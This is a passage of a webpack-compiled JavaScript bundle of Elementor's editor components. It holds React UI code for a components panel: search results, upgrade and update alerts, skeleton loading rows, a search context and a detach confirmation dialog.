  }, (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_3__.__)('Create your first one:', 'elementor')), /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__.Typography, {
    align: "center",
    variant: "caption",
    color: "secondary",
    sx: {
      maxWidth: 228
    }
  }, (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_3__.__)('Right-click any div-block or flexbox on your canvas or structure and select "Create component"', 'elementor')))));
};
const EmptySearchResult = () => {
  const {
    searchValue,
    clearSearch
  } = (0,_search_provider__WEBPACK_IMPORTED_MODULE_9__.useSearch)();
  return /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__.Stack, {
    color: 'text.secondary',
    pt: 5,
    alignItems: "center",
    gap: 1,
    overflow: 'hidden',
    justifySelf: 'center'
  }, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_icons__WEBPACK_IMPORTED_MODULE_1__.ComponentsIcon, null), /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__.Box, {
    sx: {
      width: '100%'
    }
  }, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__.Typography, {
    align: "center",
    variant: "subtitle2",
    color: "inherit",
    sx: SUBTITLE_OVERRIDE_SX
  }, (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_3__.__)('Sorry, nothing matched', 'elementor')), searchValue && /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__.Typography, {
    variant: "subtitle2",
    color: "inherit",
    sx: {
      ...SUBTITLE_OVERRIDE_SX,
      display: 'flex',
      width: '100%',
      justifyContent: 'center'
    }
  }, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement("span", null, "\u201C"), /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement("span", {
    style: {
      maxWidth: '80%',
      overflow: 'hidden',
      textOverflow: 'ellipsis'
    }
  }, searchValue), /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement("span", null, "\u201D."))), /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__.Typography, {
    align: "center",
    variant: "caption",
    color: "inherit"
  }, (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_3__.__)('Try something else.', 'elementor')), /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__.Typography, {
    align: "center",
    variant: "caption",
    color: "inherit"
  }, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__.Link, {
    color: "secondary",
    variant: "caption",
    component: "button",
    onClick: clearSearch
  }, (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_3__.__)('Clear & try again', 'elementor'))));
};
const useFilteredComponents = () => {
  const {
    components,
    isLoading
  } = (0,_hooks_use_components__WEBPACK_IMPORTED_MODULE_4__.useComponents)();
  const {
    searchValue
  } = (0,_search_provider__WEBPACK_IMPORTED_MODULE_9__.useSearch)();
  return {
    components: components.filter(component => component.name.toLowerCase().includes(searchValue.toLowerCase())),
    isLoading,
    searchValue
  };
};

/***/ }),

/***/ "./packages/packages/core/editor-components/src/components/components-tab/components-pro-notification.tsx":
/*!****************************************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/components/components-tab/components-pro-notification.tsx ***!
  \****************************************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   ComponentsProNotification: function() { return /* binding */ ComponentsProNotification; },
/* harmony export */   UPGRADE_URL: function() { return /* binding */ UPGRADE_URL; }
/* harmony export */ });
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! react */ "react");
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(react__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _wordpress_i18n__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @wordpress/i18n */ "@wordpress/i18n");
/* harmony import */ var _wordpress_i18n__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(_wordpress_i18n__WEBPACK_IMPORTED_MODULE_1__);
/* harmony import */ var _components_upgrade_alert__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ../components-upgrade-alert */ "./packages/packages/core/editor-components/src/components/components-upgrade-alert.tsx");



const UPGRADE_URL = 'https://go.elementor.com/go-pro-components-exist-footer/';
function ComponentsProNotification() {
  return /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_components_upgrade_alert__WEBPACK_IMPORTED_MODULE_2__.ComponentsUpgradeAlert, {
    title: (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_1__.__)('Create new components', 'elementor'),
    description: (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_1__.__)('Creating new components requires an active Pro subscription.', 'elementor'),
    upgradeUrl: UPGRADE_URL
  });
}

/***/ }),

/***/ "./packages/packages/core/editor-components/src/components/components-tab/components-update-notification.tsx":
/*!*******************************************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/components/components-tab/components-update-notification.tsx ***!
  \*******************************************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   ComponentsUpdateNotification: function() { return /* binding */ ComponentsUpdateNotification; }
/* harmony export */ });
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! react */ "react");
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(react__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _wordpress_i18n__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @wordpress/i18n */ "@wordpress/i18n");
/* harmony import */ var _wordpress_i18n__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(_wordpress_i18n__WEBPACK_IMPORTED_MODULE_1__);
/* harmony import */ var _components_update_alert__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ../components-update-alert */ "./packages/packages/core/editor-components/src/components/components-update-alert.tsx");



function ComponentsUpdateNotification() {
  return /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_components_update_alert__WEBPACK_IMPORTED_MODULE_2__.ComponentsUpdateAlert, {
    title: (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_1__.__)('Create new Components', 'elementor'),
    description: (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_1__.__)('To create new components, update Elementor Pro to the latest version.', 'elementor')
  });
}

/***/ }),

/***/ "./packages/packages/core/editor-components/src/components/components-tab/components.tsx":
/*!***********************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/components/components-tab/components.tsx ***!
  \***********************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   Components: function() { return /* binding */ Components; }
/* harmony export */ });
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! react */ "react");
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(react__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _elementor_editor_ui__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @elementor/editor-ui */ "@elementor/editor-ui");
/* harmony import */ var _elementor_editor_ui__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_ui__WEBPACK_IMPORTED_MODULE_1__);
/* harmony import */ var _elementor_ui__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! @elementor/ui */ "@elementor/ui");
/* harmony import */ var _elementor_ui__WEBPACK_IMPORTED_MODULE_2___default = /*#__PURE__*/__webpack_require__.n(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__);
/* harmony import */ var _hooks_use_components__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ../../hooks/use-components */ "./packages/packages/core/editor-components/src/hooks/use-components.ts");
/* harmony import */ var _utils_is_pro_components_supported__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ../../utils/is-pro-components-supported */ "./packages/packages/core/editor-components/src/utils/is-pro-components-supported.ts");
/* harmony import */ var _component_search__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./component-search */ "./packages/packages/core/editor-components/src/components/components-tab/component-search.tsx");
/* harmony import */ var _components_list__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! ./components-list */ "./packages/packages/core/editor-components/src/components/components-tab/components-list.tsx");
/* harmony import */ var _components_pro_notification__WEBPACK_IMPORTED_MODULE_7__ = __webpack_require__(/*! ./components-pro-notification */ "./packages/packages/core/editor-components/src/components/components-tab/components-pro-notification.tsx");
/* harmony import */ var _components_update_notification__WEBPACK_IMPORTED_MODULE_8__ = __webpack_require__(/*! ./components-update-notification */ "./packages/packages/core/editor-components/src/components/components-tab/components-update-notification.tsx");
/* harmony import */ var _search_provider__WEBPACK_IMPORTED_MODULE_9__ = __webpack_require__(/*! ./search-provider */ "./packages/packages/core/editor-components/src/components/components-tab/search-provider.tsx");











const FULL_HEIGHT_STYLE_ID = 'components-full-height-panel';
const FULL_HEIGHT_CSS = `
#elementor-panel-page-elements {
	display: flex;
	flex-direction: column;
	height: 100%;
}

#elementor-panel-elements {
	display: flex;
	flex-direction: column;
	flex: 1;
	min-height: 0;
}

#elementor-panel-elements-wrapper {
	display: flex;
	flex-direction: column;
	flex: 1;
	min-height: 0;
}
`;
const useFullHeightPanel = () => {
  (0,react__WEBPACK_IMPORTED_MODULE_0__.useLayoutEffect)(() => {
    let style = document.getElementById(FULL_HEIGHT_STYLE_ID);
    if (!style) {
      style = document.createElement('style');
      style.id = FULL_HEIGHT_STYLE_ID;
      style.textContent = FULL_HEIGHT_CSS;
      document.head.appendChild(style);
    }
    return () => {
      document.getElementById(FULL_HEIGHT_STYLE_ID)?.remove();
    };
  }, []);
};
const ComponentsContent = () => {
  const {
    components,
    isLoading
  } = (0,_hooks_use_components__WEBPACK_IMPORTED_MODULE_3__.useComponents)();
  const hasComponents = !isLoading && components.length > 0;
  const showProNotification = !(0,_utils_is_pro_components_supported__WEBPACK_IMPORTED_MODULE_4__.isProComponentsSupported)() && hasComponents;
  const isOutdated = (0,_utils_is_pro_components_supported__WEBPACK_IMPORTED_MODULE_4__.isProOutdatedForComponents)();
  useFullHeightPanel();
  return /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__.Stack, {
    justifyContent: "space-between",
    sx: {
      flex: 1,
      minHeight: 0
    }
  }, hasComponents && /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_component_search__WEBPACK_IMPORTED_MODULE_5__.ComponentSearch, null), /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_components_list__WEBPACK_IMPORTED_MODULE_6__.ComponentsList, null), showProNotification && (isOutdated ? /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_components_update_notification__WEBPACK_IMPORTED_MODULE_8__.ComponentsUpdateNotification, null) : /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_components_pro_notification__WEBPACK_IMPORTED_MODULE_7__.ComponentsProNotification, null)));
};
const Components = () => {
  return /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_editor_ui__WEBPACK_IMPORTED_MODULE_1__.ThemeProvider, null, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_search_provider__WEBPACK_IMPORTED_MODULE_9__.SearchProvider, {
    localStorageKey: "elementor-components-search"
  }, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(ComponentsContent, null)));
};

/***/ }),

/***/ "./packages/packages/core/editor-components/src/components/components-tab/loading-components.tsx":
/*!*******************************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/components/components-tab/loading-components.tsx ***!
  \*******************************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   LoadingComponents: function() { return /* binding */ LoadingComponents; }
/* harmony export */ });
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! react */ "react");
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(react__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _elementor_ui__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @elementor/ui */ "@elementor/ui");
/* harmony import */ var _elementor_ui__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(_elementor_ui__WEBPACK_IMPORTED_MODULE_1__);


const ROWS = Array.from({
  length: 3
}, (_, index) => index);
const STAGGER_DELAY_MS = 80;
const LoadingComponents = () => {
  return /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_1__.Stack, {
    "aria-label": "Loading components",
    gap: 1.5,
    sx: {
      pointerEvents: 'none',
      position: 'relative',
      maxHeight: '300px',
      overflow: 'hidden',
      px: 1,
      '&:after': {
        position: 'absolute',
        bottom: 0,
        content: '""',
        left: 0,
        width: '100%',
        height: '40%',
        pointerEvents: 'none',
        zIndex: 1
      }
    }
  }, ROWS.map(row => /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_1__.Box, {
    key: row,
    display: "flex",
    alignItems: "center",
    gap: 1.5,
    sx: {
      py: 0.75,
      px: 1.5,
      opacity: 0,
      animation: `e-loading-fade-in 0.4s ease-out ${row * STAGGER_DELAY_MS}ms forwards`,
      '@keyframes e-loading-fade-in': {
        from: {
          opacity: 0,
          transform: 'translateY(4px)'
        },
        to: {
          opacity: 1,
          transform: 'translateY(0)'
        }
      }
    }
  }, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_1__.Skeleton, {
    animation: "wave",
    variant: "rounded",
    width: 24,
    height: 24
  }), /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_1__.Skeleton, {
    animation: "wave",
    variant: "rounded",
    width: "60%",
    height: 14
  }))));
};

/***/ }),

/***/ "./packages/packages/core/editor-components/src/components/components-tab/search-provider.tsx":
/*!****************************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/components/components-tab/search-provider.tsx ***!
  \****************************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   SearchProvider: function() { return /* binding */ SearchProvider; },
/* harmony export */   useSearch: function() { return /* binding */ useSearch; }
/* harmony export */ });
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! react */ "react");
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(react__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _elementor_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @elementor/utils */ "@elementor/utils");
/* harmony import */ var _elementor_utils__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(_elementor_utils__WEBPACK_IMPORTED_MODULE_1__);



const SearchContext = /*#__PURE__*/(0,react__WEBPACK_IMPORTED_MODULE_0__.createContext)(undefined);
const SearchProvider = ({
  children,
  localStorageKey
}) => {
  const {
    debouncedValue,
    handleChange,
    inputValue
  } = (0,_elementor_utils__WEBPACK_IMPORTED_MODULE_1__.useSearchState)({
    localStorageKey
  });
  const clearSearch = () => {
    handleChange('');
  };
  return /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(SearchContext.Provider, {
    value: {
      handleChange,
      clearSearch,
      searchValue: debouncedValue,
      inputValue
    }
  }, children);
};
const useSearch = () => {
  const context = (0,react__WEBPACK_IMPORTED_MODULE_0__.useContext)(SearchContext);
  if (!context) {
    throw new Error('useSearch must be used within a SearchProvider');
  }
  return context;
};

/***/ }),

/***/ "./packages/packages/core/editor-components/src/components/components-update-alert.tsx":
/*!*********************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/components/components-update-alert.tsx ***!
  \*********************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   ComponentsUpdateAlert: function() { return /* binding */ ComponentsUpdateAlert; }
/* harmony export */ });
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! react */ "react");
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(react__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _elementor_icons__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @elementor/icons */ "@elementor/icons");
/* harmony import */ var _elementor_icons__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(_elementor_icons__WEBPACK_IMPORTED_MODULE_1__);
/* harmony import */ var _elementor_ui__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! @elementor/ui */ "@elementor/ui");
/* harmony import */ var _elementor_ui__WEBPACK_IMPORTED_MODULE_2___default = /*#__PURE__*/__webpack_require__.n(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__);
/* harmony import */ var _wordpress_i18n__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! @wordpress/i18n */ "@wordpress/i18n");
/* harmony import */ var _wordpress_i18n__WEBPACK_IMPORTED_MODULE_3___default = /*#__PURE__*/__webpack_require__.n(_wordpress_i18n__WEBPACK_IMPORTED_MODULE_3__);




const UPDATE_PLUGINS_URL = '/wp-admin/plugins.php';
function ComponentsUpdateAlert({
  title,
  description
}) {
  return /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__.Box, {
    sx: {
      mt: 'auto',
      position: 'sticky',
      bottom: 0
    }
  }, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__.Alert, {
    variant: "standard",
    color: "info",
    icon: /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_icons__WEBPACK_IMPORTED_MODULE_1__.InfoCircleFilledIcon, {
      fontSize: "tiny"
    }),
    role: "status",
    size: "small",
    action: /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__.AlertAction, {
      variant: "contained",
      color: "info",
      href: UPDATE_PLUGINS_URL,
      target: "_blank",
      rel: "noopener noreferrer"
    }, (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_3__.__)('Upgrade Now', 'elementor')),
    sx: {
      m: 2,
      mt: 1
    }
  }, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__.AlertTitle, null, title), /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__.Typography, {
    variant: "caption"
  }, description)));
}

/***/ }),

/***/ "./packages/packages/core/editor-components/src/components/components-upgrade-alert.tsx":
/*!**********************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/components/components-upgrade-alert.tsx ***!
  \**********************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   ComponentsUpgradeAlert: function() { return /* binding */ ComponentsUpgradeAlert; }
/* harmony export */ });
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! react */ "react");
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(react__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _elementor_icons__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @elementor/icons */ "@elementor/icons");
/* harmony import */ var _elementor_icons__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(_elementor_icons__WEBPACK_IMPORTED_MODULE_1__);
/* harmony import */ var _elementor_ui__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! @elementor/ui */ "@elementor/ui");
/* harmony import */ var _elementor_ui__WEBPACK_IMPORTED_MODULE_2___default = /*#__PURE__*/__webpack_require__.n(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__);
/* harmony import */ var _wordpress_i18n__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! @wordpress/i18n */ "@wordpress/i18n");
/* harmony import */ var _wordpress_i18n__WEBPACK_IMPORTED_MODULE_3___default = /*#__PURE__*/__webpack_require__.n(_wordpress_i18n__WEBPACK_IMPORTED_MODULE_3__);




function ComponentsUpgradeAlert({
  title,
  description,
  upgradeUrl
}) {
  return /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__.Box, {
    sx: {
      mt: 'auto',
      position: 'sticky',
      bottom: 0
    }
  }, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__.Alert, {
    variant: "standard",
    color: "promotion",
    icon: /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_icons__WEBPACK_IMPORTED_MODULE_1__.CrownFilledIcon, {
      fontSize: "tiny"
    }),
    role: "status",
    size: "small",
    action: /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__.AlertAction, {
      variant: "contained",
      color: "promotion",
      href: upgradeUrl,
      target: "_blank",
      rel: "noopener noreferrer"
    }, (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_3__.__)('Upgrade now', 'elementor')),
    sx: {
      m: 2,
      mt: 1
    }
  }, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__.AlertTitle, null, title), /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__.Typography, {
    variant: "caption"
  }, description)));
}

/***/ }),

/***/ "./packages/packages/core/editor-components/src/components/control-label.tsx":
/*!***********************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/components/control-label.tsx ***!
  \***********************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   ControlLabel: function() { return /* binding */ ControlLabel; }
/* harmony export */ });
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! react */ "react");
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(react__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _elementor_editor_controls__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @elementor/editor-controls */ "@elementor/editor-controls");
/* harmony import */ var _elementor_editor_controls__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_controls__WEBPACK_IMPORTED_MODULE_1__);
/* harmony import */ var _elementor_ui__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! @elementor/ui */ "@elementor/ui");
/* harmony import */ var _elementor_ui__WEBPACK_IMPORTED_MODULE_2___default = /*#__PURE__*/__webpack_require__.n(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__);



const ControlLabel = ({
  children,
  ...props
}) => {
  return /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__.Stack, {
    direction: "row",
    alignItems: "center",
    justifyItems: "start",
    gap: 0.25
  }, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_editor_controls__WEBPACK_IMPORTED_MODULE_1__.ControlFormLabel, props, children), /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_editor_controls__WEBPACK_IMPORTED_MODULE_1__.ControlAdornments, null));
};

/***/ }),

/***/ "./packages/packages/core/editor-components/src/components/detach-instance-confirmation-dialog.tsx":
/*!*********************************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/components/detach-instance-confirmation-dialog.tsx ***!
  \*********************************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   DetachInstanceConfirmationDialog: function() { return /* binding */ DetachInstanceConfirmationDialog; },
/* harmony export */   openDetachConfirmDialog: function() { return /* binding */ openDetachConfirmDialog; }
/* harmony export */ });
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! react */ "react");
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(react__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _elementor_editor_ui__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @elementor/editor-ui */ "@elementor/editor-ui");
/* harmony import */ var _elementor_editor_ui__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_ui__WEBPACK_IMPORTED_MODULE_1__);
/* harmony import */ var _elementor_icons__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! @elementor/icons */ "@elementor/icons");
/* harmony import */ var _elementor_icons__WEBPACK_IMPORTED_MODULE_2___default = /*#__PURE__*/__webpack_require__.n(_elementor_icons__WEBPACK_IMPORTED_MODULE_2__);
/* harmony import */ var _wordpress_i18n__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! @wordpress/i18n */ "@wordpress/i18n");
/* harmony import */ var _wordpress_i18n__WEBPACK_IMPORTED_MODULE_3___default = /*#__PURE__*/__webpack_require__.n(_wordpress_i18n__WEBPACK_IMPORTED_MODULE_3__);




function DetachInstanceConfirmationDialog({
  open,
  onClose,
  onConfirm
}) {
  return /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_editor_ui__WEBPACK_IMPORTED_MODULE_1__.ConfirmationDialog, {
    open: open,
    onClose: onClose
  }, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_editor_ui__WEBPACK_IMPORTED_MODULE_1__.ConfirmationDialog.Title, {
    icon: _elementor_icons__WEBPACK_IMPORTED_MODULE_2__.AlertTriangleFilledIcon,
    iconColor: "secondary"
  }, (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_3__.__)('Detach from Component?', 'elementor')), /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_editor_ui__WEBPACK_IMPORTED_MODULE_1__.ConfirmationDialog.Content, null, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_editor_ui__WEBPACK_IMPORTED_MODULE_1__.ConfirmationDialog.ContentText, null, (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_3__.__)('Detaching this instance will break its link to the Component. Changes to the Component will no longer apply. Continue?', 'elementor'))), /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_editor_ui__WEBPACK_IMPORTED_MODULE_1__.ConfirmationDialog.Actions, {
    onClose: onClose,
    onConfirm: onConfirm,
    confirmLabel: (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_3__.__)('Detach', 'elementor'),
    color: "primary"
  }));
}

// Used imperatively from the context menu (Marionette view).
function openDetachConfirmDialog(onConfirm) {
  const handleConfirm = () => {
    (0,_elementor_editor_ui__WEBPACK_IMPORTED_MODULE_1__.closeDialog)();
    onConfirm();
  };
  (0,_elementor_editor_ui__WEBPACK_IMPORTED_MODULE_1__.openDialog)({
    component: /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(DetachInstanceConfirmationDialog, {
      open: true,
      onClose: _elementor_editor_ui__WEBPACK_IMPORTED_MODULE_1__.closeDialog,
      onConfirm: handleConfirm
    })
  });
}

/***/ }),

